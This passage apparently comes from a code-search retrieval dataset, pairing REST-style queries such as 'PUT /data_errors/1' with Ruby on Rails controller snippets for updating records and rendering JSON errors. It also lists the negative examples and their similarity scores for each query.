"def throw_error(error)\n render json: error, status: :bad_request\n end",
"def bad_request(error)\n json_response({ message: error.message }, :bad_request)\n end",
"def destroy\n @data_error = DataError.find(params[:id])\n @data_error.destroy\n\n respond_to do |format|\n format.html { redirect_to data_errors_url }\n format.json { head :no_content }\n end\n end",
"def render_error error_code, error_type, text\n content_type :json\n\n #compose output JSON\n output = { \n :status => \"error\", \n :code => error_code.to_i, \n :error_type => error_type.to_s, \n :executed_at => Time.now.strftime(\"%Y-%m-%d %H:%M:%S\"), \n }\n\n if text.is_a?(Hash)\n output.merge!(text)\n else\n output[:message] = text \n end\n\n #warning about conent type!\n output[:warning_invalid_content_type] = \"Please set request header content-type to 'application/json' - if you will not se it you are limited by 64KB by request\" unless request.env['CONTENT_TYPE'] && request.env['CONTENT_TYPE'].include?(\"application/json\")\n\n #items and name specified\n halt error_code.to_i, Yajl::Encoder.encode(output)\n end",
"def invalid_data\n {\n :title => \"\",\n :description => nil,\n :parent_id => \"ss\"\n } \n end",
"def handle_validation_error(error)\n Rails.logger.error(error.to_s)\n\n # build field error list\n field_errors = []\n error.record.errors.each do |error|\n field_errors << {field: error.attribute, type: error.type}\n end\n\n api_error = ::Transfer::Error::ApiError.new(\n ::Transfer::Error::ApiError::ERROR_CODE::VALIDATION_ERROR,\n error.to_s,\n \"Validation Error\",\n {\n field_errors: field_errors,\n })\n\n render json: api_error, status: :bad_request\n end",
"def bad_request\n [ 400, {'Content-Type'=>'text/plain', 'Content-Length'=>'0'},\n [''] ]\n end",
"def render_error\n render json: { errors: @address.errors.full_message }, status: unprocessable_entity\n end",
"def error_opt(request)\n {\n http_status: data[:status],\n http_code: status_code,\n http_response: content,\n http_message: data[:message],\n http_error_code: data[:error_code],\n http_request_params: request.body,\n http_method: request.method\n }\n end",
"def json_error(message = 'An error occurred')\n { status: 'error', message: message }\n end",
"def error\n @error_response\n end",
"def error?\n !@data['error'].nil?\n end",
"def error?\n !@data['error'].nil?\n end",
"def error_messages\n @error_messages ||= begin\n data[:errors] ? data[:errors] : [data]\n end\n end",
"def create\n @error = Error.new(error_params)\n\n respond_to do |format|\n if @error.save\n format.html { redirect_to @error, notice: \"Error was successfully created.\" }\n format.json { render :show, status: :created, location: @error }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validation_error(obj)\n error(406, obj.errors.full_messages)\n end",
"def raise_bad_format\r\n error_message = ErrorMessage.new(\"400\", \"Api:et stödjer inte det begärda formatet.\",\r\n \"Felaktig begäran. Kontakta utvecklaren.\")\r\n render json: error_message, status: :bad_request\r\n end",
"def respond_with_model_error(message: \"Invalid\", error_code: \"invalid\", model_errors: nil, status: 422)\n render partial: \"api/error\", locals: { message: message, error_code: error_code, model_errors: model_errors }, status: status\n return false\n end",
"def bad_request\n render status: :bad_request, json: {\n errors: ['Invalid Request', 'Missing one or more required fields.'],\n }\n end",
"def response_errors\n parsed_response['error']\nend",
"def errors\n json = parsed_body\n json ? json['Error'] : nil\n end",
"def render_fail_json(msg = '', status = :unauthorized, data = nil, links = nil)\n render json: {\n status: 'fail',\n code: ApplicationHelper.code_status[status],\n msg: msg,\n data: data,\n links: links\n }, status: status\n end",
"def invalid_record_errors(record)\n record.errors.map do |invalid_field, message| #=> [:name, \"can't be blank\"]\n {\n \"status\" => \"422\",\n \"source\" => {\"pointer\" => \"/data/attributes/#{invalid_field}\"},\n \"title\" => \"Invalid Attribute\",\n \"detail\" => message\n }\n end\n end",
"def api_post(endpoint, key, data)\n tries ||= 3\n response = do_post(endpoint, key, data)\n raise unless response.code == '200'\n return if response.body.empty?\n parsed = Oj.load(response.body)\n raise unless parsed['success']\n parsed['data']\n rescue StandardError => e\n tries -= 1\n sleep 2 && retry unless tries.zero?\n log_error(e, update_service: @update_service,\n sentry_extra: { query: data,\n response_body: response&.body,\n language: @wiki.language,\n project: @wiki.project })\n end",
"def render_error\n render json: { errors: @product.errors.full_messages }, status: :unprocessable_entity\n end",
"def error_params\n params.require(:error).permit(:name, :description, :stacktrace, :fired_at)\n end",
"def json_resource_errors\n resource.errors.messages.to_json\n end",
"def error_message\n @data[\"message\"]\n end",
"def error(message, code)\n error_response = {\n message: message\n }\n render :json => error_response, :status => code\n end",
"def resource_save_failure_response\n error_string = \"\"\n resource.errors.full_messages.each do |msg| #Concatinating error message into 1 string.\n error_string += msg\n end\n render :json => {:success => \"false\",\n :message => \"Something went wrong. Please try again later. #{error_string}\"}\n end",
"def errors\n {}\n end",
"def update\n @data_error = DataError.find(params[:id])\n\n respond_to do |format|\n if @data_error.update_attributes(params[:data_error])\n format.html { redirect_to @data_error, notice: 'Data error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def render_error_message(error_message)\n error_response = { error_message: error_message }\n render json: error_response, status: :unprocessable_entity\n end"
] | [
"0.6923201",
"0.68207806",
"0.6551415",
"0.6448383",
"0.6432634",
"0.6341944",
"0.6203858",
"0.61404026",
"0.6101696",
"0.60785145",
"0.60785145",
"0.605449",
"0.6047283",
"0.5997083",
"0.59899986",
"0.59829164",
"0.5958447",
"0.595046",
"0.59226465",
"0.5921321",
"0.59184146",
"0.5906776",
"0.5889618",
"0.58777195",
"0.58770746",
"0.5838062",
"0.58132416",
"0.5807237",
"0.58000565",
"0.58000565",
"0.58000565",
"0.58000565",
"0.5794493",
"0.5789678",
"0.57764804",
"0.57723004",
"0.57723004",
"0.57700264",
"0.57519656",
"0.57326216",
"0.5731317",
"0.57120705",
"0.5711397",
"0.5710899",
"0.57096595",
"0.5697074",
"0.56854576",
"0.56787676",
"0.56720096",
"0.5664049",
"0.56547016",
"0.5652361",
"0.5644636",
"0.5625463",
"0.5618023",
"0.56130016",
"0.5603985",
"0.5589777",
"0.5586713",
"0.55721664",
"0.5568822",
"0.55616635",
"0.5558942",
"0.5555692",
"0.5554449",
"0.5550272",
"0.554677",
"0.5540471",
"0.5531638",
"0.5519943",
"0.5514306",
"0.5506456",
"0.55025214",
"0.5493002",
"0.5492249",
"0.5485017",
"0.5482468",
"0.54821324",
"0.5478186",
"0.5478186",
"0.5459699",
"0.5459242",
"0.5448233",
"0.5443402",
"0.5442508",
"0.54411614",
"0.5439458",
"0.5431312",
"0.5428963",
"0.54283106",
"0.54227704",
"0.54190445",
"0.5418422",
"0.541301",
"0.5410432",
"0.5408056",
"0.5407023",
"0.54067147",
"0.5404971",
"0.5403376"
] | 0.6906282 | 1 |
PUT /data_errors/1 PUT /data_errors/1.json | def update
@data_error = DataError.find(params[:id])
respond_to do |format|
if @data_error.update_attributes(params[:data_error])
format.html { redirect_to @data_error, notice: 'Data error was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @data_error.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @error.update(error_params)\n format.html { redirect_to @error, notice: \"Error was successfully updated.\" }\n format.json { render :show, status: :ok, location: @error }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_resource(type, id, data)\n bad_attrs = data_includes_invalid_attrs(data)\n\n if bad_attrs.present?\n msg = \"Attribute(s) '#{bad_attrs}' should not be specified for updating a server resource\"\n raise BadRequestError, msg\n end\n\n super\n end",
"def update\n respond_to do |format|\n if @error.update(error_params)\n format.html { redirect_to @error, notice: 'Error was successfully updated.' }\n format.json { render :show, status: :ok, location: @error }\n else\n format.html { render :edit }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_unsuccessful\n data = {\n firstname: \"\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 1002\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n end",
"def update\n @thing_with_error = ThingWithError.find(params[:id])\n\n respond_to do |format|\n if @thing_with_error.update_attributes(params[:thing_with_error])\n format.html { redirect_to @thing_with_error, notice: 'Thing with error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing_with_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def halt_bad_request(code, errors, message = 'Bad request')\n data = MultiJson.dump(error: { code: code, message: message, errors: errors })\n size = data.bytesize.to_s\n [\n 400,\n { 'Content-Type' => 'application/json;charset=utf-8', 'Content-Length' => size },\n [data]\n ]\n end",
"def render_errors(errors)\n render json: errors, status: :bad_request\n end",
"def update!(**args)\n @error_code = args[:error_code] if args.key?(:error_code)\n @error_type = args[:error_type] if args.key?(:error_type)\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def destroy\n @data_error = DataError.find(params[:id])\n @data_error.destroy\n\n respond_to do |format|\n format.html { redirect_to data_errors_url }\n format.json { head :no_content }\n end\n end",
"def validation_error(resource, status = 400, title = 'Bad Request')\n render json: {\n errors: [\n {\n status: status,\n title: title,\n detail: resource.errors,\n code: '100'\n }\n ]\n }, status: status\n end",
"def format_errors(_data)\n _data.errors.as_json\n end",
"def update\n respond_to do |format|\n if @wrong_data_asset.update(wrong_data_asset_params)\n format.html { redirect_to @wrong_data_asset, notice: 'Wrong data asset was successfully updated.' }\n format.json { render :show, status: :ok, location: @wrong_data_asset }\n else\n format.html { render :edit }\n format.json { render json: @wrong_data_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n error_msg(ErrorCodes::OBJECT_ERROR, \"#{I18n.t \"endnote_files.errors.not_found\"}: #{params[:id]}\")\n render_json\n end",
"def create\n @data_error = DataError.new(params[:data_error])\n\n respond_to do |format|\n if @data_error.save\n format.html { redirect_to @data_error, notice: 'Data error was successfully created.' }\n format.json { render json: @data_error, status: :created, location: @data_error }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(id, data)\n jss = self.get_structure() # For referencing purposes\n\n input = self.query_to_hash(data)\n bad_request = false\n resp = nil\n input.each do |key, value|\n # Check if we have it on the structure too\n unless jss.has_key? key\n resp = MIDB::Interface::Server.json_error(400, \"Bad Request - Wrong argument #{key}\")\n @engine.http_status = 400\n bad_request = true\n end\n end\n\n # Check if the ID exists\n db = MIDB::API::Dbengine.new(@engine.config, @db)\n dbc = db.connect()\n dbq = db.query(dbc, \"SELECT * FROM #{self.get_structure.values[0].split('/')[0]} WHERE id=#{id};\")\n unless db.length(dbq) > 0\n resp = MIDB::Interface::Server.json_error(404, \"ID not found\")\n @engine.http_status = 404\n bad_request = true\n end\n \n # Update the values if we have a good request\n unless bad_request\n fields = Hash.new\n inserts = Hash.new\n where_clause = Hash.new\n main_table = self.get_structure.values[0].split('/')[0]\n where_clause[main_table] = \"id=#{id}\"\n input.each do |key, value|\n struct = jss[key]\n table = struct.split(\"/\")[0]\n inserts[table] ||= []\n fields[table] ||= []\n inserts[table].push \"\\\"\" + value + \"\\\"\"\n fields[table].push struct.split(\"/\")[1]\n if struct.split(\"/\").length > 2\n match = struct.split(\"/\")[2]\n matching_field = match.split(\"->\")[0]\n row_field = match.split(\"->\")[1]\n where_clause[table] = \"#{matching_field}=(SELECT #{row_field} FROM #{main_table} WHERE #{where_clause[main_table]});\"\n end\n end\n queries = []\n updates = Hash.new\n # Turn it into a hash\n inserts.each do |table, values|\n updates[table] ||= Hash.new\n updates[table] = Hash[fields[table].zip(inserts[table])]\n query = \"UPDATE #{table} SET \"\n updates[table].each do |f, v|\n query = query + \"#{f}=#{v} \"\n end\n queries.push query + \"WHERE #{where_clause[table]};\"\n end\n # Run the queries\n results = []\n queries.each do |q|\n results.push db.query(dbc, q)\n end\n @engine.http_status = \"200 OK\"\n resp = {status: \"200 OK\"}\n end\n return resp\n end",
"def http_error_code_for(errors)\n if errors.any? { |message| message.include? CONFLICT_MESSAGE }\n :conflict\n else :unprocessable_entity end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def json_render_errors(errors)\n json_fail errors\n end",
"def update\n @runs_error = RunsError.find(params[:id])\n\n respond_to do |format|\n if @runs_error.update_attributes(params[:runs_error])\n format.html { redirect_to @runs_error, notice: 'Runs error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @runs_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def _error(message,code) \n status code\n response.headers['Content-Type'] = 'application/json'\n body({:error=>{:message=>message}}.to_json)\n end",
"def api_error\n dm_data.first.first == \"errors\"\n end",
"def retrieve_and_validate_put\n ingredient_config = Ingredient.find_by!(id: params[:id])\n message = 'The requested ingredient cannot be' \\\n 'updated for this since its the same value'\n (raise ActionController::BadRequest, message) unless ingredient_config.units != params[:units].to_i\n ingredient_config\n end",
"def four_twenty_two(error)\n json_response({ errors: error }, :unprocessable_entity)\n end",
"def update\n updated_resource = update_resource(resource, resource_params)\n if updated_resource.errors.blank?\n head :no_content\n else\n render json: serialize_invalid_attributes(updated_resource.errors),\n status: :unprocessable_entity\n end\n end",
"def update_error_message(message:)\n # refresh the resource to avoid stale object error\n @resource = query_service.find_by(id: id)\n primary_file.error_message = [message]\n updated_change_set = ChangeSet.for(resource)\n change_set_persister.buffer_into_index do |buffered_persister|\n buffered_persister.save(change_set: updated_change_set)\n end\n end",
"def update\n respond_to do |format|\n if @import_error.update(import_error_params)\n format.html { redirect_to @import_error, notice: \"Import error was successfully updated.\" }\n format.json { render :show, status: :ok, location: @import_error }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @import_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #note = Note.find(params[:id])\n #if @note.update(note_params)\n # render json: note\n #else\n # render json: @note.errors, status: :unprocessable_entity\n #end\n begin\n @note = Note.find(params[:id])\n if @note.update(note_params)\n render json: @note\n end\n rescue Exception => e\n @a = '{\n \"error\" : \"not found\"\n }'\n @data = JSON.parse(@a)\n render json: @data, status: 404\n return\n end\n end",
"def update\n @problem = Problem.find(params[:id])\n\n if @problem.update(problem_params)\n head :no_content\n else\n render json: @problem.errors, status: :unprocessable_entity\n end\n end",
"def update_data\n if token_is_valid?\n if Sample.create_from_remote\n flash[:notice] = \"Data updated\"\n else\n flash[:notice] = \"Data not updated. Please wait a few minutes\"\n end\n else\n flash[:notice] = \"Error\"\n end\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.xml { head :ok }\n format.json { head :ok }\n end\n \n end",
"def new\n @data_error = DataError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_error }\n end\n end",
"def update\n# respond_to do |format|\n# if @req.update(req_params)\n format.json { render :json => {:status => 'success'}}\n# format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n# format.json { render :show, status: :ok, location: @req }\n# else\n format.json { render :json => {:status => 'failed'}}\n# format.html { render :edit }\n# format.json { render json: @req.errors, status: :unprocessable_entity }\n# end\n# end\n end",
"def bad_request(object)\n render json: object, status: 400\n end",
"def render_update_error\n render_error @resource\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update\n respond_to do |format|\n if @datafile.update(datafile_params)\n format.html { redirect_to @datafile, notice: 'Datafile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @datafile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_error(code, status = :bad_request, error = nil, data = nil)\n error_hash = {\n code: code\n }\n\n error_hash[:message] = error if error\n error_hash[:data] = data if data\n\n render json: error_hash, status: status\n end",
"def put(request)\n error = validate(request)\n return error if error\n\n code =\n if data_store.exists?(request.rest_path)\n set_data(request, request.rest_path, request.body, :data_store_exceptions)\n 200\n else\n name = request.rest_path[4]\n data_store.create(request.rest_path[0..3], name, request.body, :create_dir)\n 201\n end\n already_json_response(code, request.body)\n end",
"def update\n respond_to do |format|\n if @device.update(device_params)\n format.json { head :no_content }\n else\n format.json { render json: {errors: @device.errors}, status: :unprocessable_entity }\n end\n end\n end",
"def error_status\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end",
"def update\n begin\n if @object.update_attributes(params[object_name])\n render :json => @object.to_json, :status => 201\n else\n error = error_response_method($e1)\n render :json => error\n end\n rescue Exception=>e\n error = error_response_method($e11)\n render :json => error\n end\n end",
"def throw_error(error)\n render json: error, status: :bad_request\n end",
"def status_code; 422; end",
"def status_code; 422; end",
"def status_code; 422; end",
"def status_code; 422; end",
"def update\n access(:update)\n checked_params = check_params(FAILURE_PROPERTIES)\n checked_params[\"device\"] = Device.find(failure_params[\"device_id\"])\n checked_params[\"announcer\"] = Employee.find(failure_params[\"announcer_id\"])\n if failure_params[\"technician_id\"]\n checked_params[\"technician\"] = Employee.find(failure_params[\"technician_id\"])\n end\n\n respond_to do |format|\n if @failure.update(checked_params)\n format.html { redirect_to @failure}\n format.json { render :show, status: :ok, location: @failure }\n else\n format.html { render :edit }\n format.json { render json: @failure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @error_code.update(error_code_params)\n log_action('Update', current_user ? current_user.username : 'Anonymous', params[:id], 'Error Code')\n format.html { redirect_to @error_code, notice: 'Error code was successfully updated.' }\n format.json { render :show, status: :ok, location: @error_code }\n else\n format.html { render :edit }\n format.json { render json: @error_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @error_message_id = args[:error_message_id] if args.key?(:error_message_id)\n end",
"def update\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to @dataset, notice: 'Dataset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def retrieve_and_validate_put\n ingre_config = Ingredient.find_by!(id: params[:id])\n error_message = 'The requested ingredient cannot be' \\\n 'updated for this since its the same value'\n (raise ActionController::BadRequest, error_message) unless ingre_config.quantity != params[:quantity].to_i\n ingre_config\n end",
"def update\n super\n response.status = :unprocessable_entity if resource&.errors&.any?\n end",
"def render_json_error(obj, opts = {})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update!(**args)\n @error = args[:error] if args.key?(:error)\n @resource = args[:resource] if args.key?(:resource)\n end",
"def error(data = false)\n { error: data }.to_json\n end",
"def test_duplicate_user\n data = { 'email' => 'ace@base.se', 'password' => 'open1234' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n json_data = JSON last_response.body\n assert json_data['errors'].present?\n end",
"def update\n respond_to do |format|\n if @extractor_error.update(extractor_error_params)\n format.html { redirect_to @extractor_error, notice: \"Extractor error was successfully updated.\" }\n format.json { render :show, status: :ok, location: @extractor_error }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @extractor_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_validation_errors( errors, **context, &block )\n response = build_json_response( context )\n response.validation_errors errors, &block\n\n response.as_json\n end",
"def json_error err, status = 400, headers = {}\n\t\t\tjson_resp({'error' => err}, status, headers)\n\t\tend",
"def update\n respond_to do |format|\n if @common_error.update(common_error_params)\n format.html { redirect_to @common_error, notice: 'Actualizacion catalogo correcta.' }\n format.json { render :show, status: :ok, location: @common_error }\n else\n format.html { render :edit }\n format.json { render json: @common_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @authentication_error = args[:authentication_error] if args.key?(:authentication_error)\n @authorization_error = args[:authorization_error] if args.key?(:authorization_error)\n @custom_column_error = args[:custom_column_error] if args.key?(:custom_column_error)\n @date_error = args[:date_error] if args.key?(:date_error)\n @date_range_error = args[:date_range_error] if args.key?(:date_range_error)\n @distinct_error = args[:distinct_error] if args.key?(:distinct_error)\n @header_error = args[:header_error] if args.key?(:header_error)\n @internal_error = args[:internal_error] if args.key?(:internal_error)\n @invalid_parameter_error = args[:invalid_parameter_error] if args.key?(:invalid_parameter_error)\n @query_error = args[:query_error] if args.key?(:query_error)\n @quota_error = args[:quota_error] if args.key?(:quota_error)\n @request_error = args[:request_error] if args.key?(:request_error)\n @size_limit_error = args[:size_limit_error] if args.key?(:size_limit_error)\n end",
"def update!(**args)\n @error_messages = args[:error_messages] if args.key?(:error_messages)\n end",
"def update!(**args)\n @error_messages = args[:error_messages] if args.key?(:error_messages)\n end",
"def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def update!(**args)\n @errors = args[:errors] if args.key?(:errors)\n @kind = args[:kind] if args.key?(:kind)\n @resource = args[:resource] if args.key?(:resource)\n @status = args[:status] if args.key?(:status)\n end",
"def handle_duplicate_record(error)\n json_response({ message: error.message }, status: :forbidden)\n end",
"def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end",
"def apply_errors\n apply_errors_get(data)\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @site_error.update(site_error_params)\n format.html { redirect_to @site_error, notice: 'Site error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @error_details = args[:error_details] if args.key?(:error_details)\n @status = args[:status] if args.key?(:status)\n end",
"def update\n @user.token = @token\n @user.no_validate = true\n if @user.update(user_params)\n render json: @user, status: :ok \n else\n @user.errors.messages[:message]= {} \n return render json: {error: @user.errors}, status: :unprocessable_entity\n end \n end",
"def put endpoint, data\n do_request :put, endpoint, data\n end",
"def update\n upload_failed_msg = @failed_files.blank? ? \"\" : \"But upload #{pluralize(@failed_files.count, \"file\")} failed.\"\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: \"Post was successfully updated.#{upload_failed_msg}\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @error_type = ErrorType.find(params[:id])\n\n respond_to do |format|\n if @error_type.update_attributes(params[:error_type])\n format.html { redirect_to(@error_type, :notice => 'Error type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @error_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def api_error; end",
"def test_put_success\n put \"/blah\", @test_obj do |response|\n assert response.ok?, \"Update test object failed\"\n end\n end",
"def update\n if @scenario.update(scenario_params)\n \trender json: @scenario\n else\n \trender json: {status: 'ERROR', data: @scenario.errors}\n end\n end",
"def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end",
"def update\n @information_error = InformationError.find(params[:id])\n\n respond_to do |format|\n if @information_error.update_attributes(params[:information_error])\n format.html { redirect_to @information_error, notice: 'Information error was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @information_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: @tag.errors unless @tag.update(tag_params)\n end",
"def update\n @data_value = @class.find(params[:id])\n\n respond_to do |format|\n if @data_value.update_attributes(params[:data_value])\n format.html { redirect_to @data_value, notice: 'Data value was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @data_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @data_error = DataError.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @data_error }\n end\n end",
"def multi_update\n errors = false\n return_value = []\n file_infos_params = params.permit(file_infos: [:id, :review_done, :component_id]).require(:file_infos)\n file_infos_params.each do |key, file_info_entry|\n (return_value << nil) and (errors = true) and next unless file_info_entry[:id]\n file_info = FileInfo.find(file_info_entry[:id])\n (return_value << nil) and (errors = true) and next unless file_info\n if file_info.update(file_info_entry)\n return_value << file_info_entry\n else\n return_value << file_info.errors\n errors = true\n end\n end\n respond_to do |format|\n format.json { render json: return_value }\n if errors\n format.html { redirect_to :back, notice: 'Some entries have errors'}\n else\n format.html { redirect_to :back }\n end\n end\n end",
"def check_org_unit_updated_data_validity(org_unit_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(Identifier Name Code Path Type),\n 'properties' => {\n 'Identifier' => { 'type' => 'string' },\n 'Name' => { 'type' => 'string' },\n 'Code' => { 'type' => 'string' },\n 'Path' => { 'type' => 'string' },\n 'Type' => {\n 'required' => %w(Id Code Name),\n 'properties' => {\n 'Id' => { 'type' => 'integer' },\n 'Code' => { 'type' => 'string' },\n 'Name' => { 'type' => 'string' }\n }\n }\n }\n }\n JSON::Validator.validate!(schema, org_unit_data, validate_schema: true)\nend",
"def update\n @claim_validation_exception = ClaimValidationException.find(params[:id])\n\n respond_to do |format|\n if @claim_validation_exception.update_attributes(params[:claim_validation_exception])\n format.html { redirect_to @claim_validation_exception, notice: 'Claim validation exception was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @claim_validation_exception.errors, status: :unprocessable_entity }\n end\n end\n end",
"def default_validation_error req, endpoint, error\n response HTTP_INVALID, api_html(error.to_markup)\n end",
"def error(message, status = 422)\n render text: message, status: status\n end",
"def update\n @metric = Metric.find(params[:id])\n\n if @metric.update(params[:metric])\n head :no_content\n else\n render json: @metric.errors, status: :unprocessable_entity\n end\n end",
"def error!(msg)\n self.status = Status::ERROR\n self.error = msg\n save\n end"
] | [
"0.6035311",
"0.60297316",
"0.59813106",
"0.59805566",
"0.5960468",
"0.5960468",
"0.5960468",
"0.5960468",
"0.5934411",
"0.5898116",
"0.5839487",
"0.57817847",
"0.5718022",
"0.5716214",
"0.5701169",
"0.56662375",
"0.5644471",
"0.5628808",
"0.56085217",
"0.5595767",
"0.5580112",
"0.5547157",
"0.5536791",
"0.5525599",
"0.55160755",
"0.54993564",
"0.5483601",
"0.54783624",
"0.54660726",
"0.5459579",
"0.54545933",
"0.5441498",
"0.54169935",
"0.5416773",
"0.5406066",
"0.5390652",
"0.5388618",
"0.53818816",
"0.5381652",
"0.5373329",
"0.53725296",
"0.53666246",
"0.53640616",
"0.5356507",
"0.5349186",
"0.53453314",
"0.5340017",
"0.533395",
"0.5331311",
"0.5324609",
"0.5318057",
"0.5318057",
"0.5318057",
"0.5318057",
"0.53114873",
"0.53112465",
"0.5306346",
"0.53015924",
"0.5298208",
"0.52867615",
"0.52867347",
"0.5283002",
"0.5278967",
"0.527647",
"0.52756834",
"0.5270372",
"0.5266658",
"0.5263959",
"0.5252322",
"0.52488536",
"0.5245969",
"0.5245969",
"0.52395093",
"0.52312195",
"0.52233404",
"0.522312",
"0.5221999",
"0.5220887",
"0.5218567",
"0.52184975",
"0.52168435",
"0.52102625",
"0.52088064",
"0.5207075",
"0.5205298",
"0.52024287",
"0.5200671",
"0.52000993",
"0.51959896",
"0.5194226",
"0.5175967",
"0.5173973",
"0.5166566",
"0.5166266",
"0.5165438",
"0.5163621",
"0.5163532",
"0.51595503",
"0.5156776",
"0.51560223"
] | 0.68804973 | 0 |
DELETE /data_errors/1 DELETE /data_errors/1.json | def destroy
@data_error = DataError.find(params[:id])
@data_error.destroy
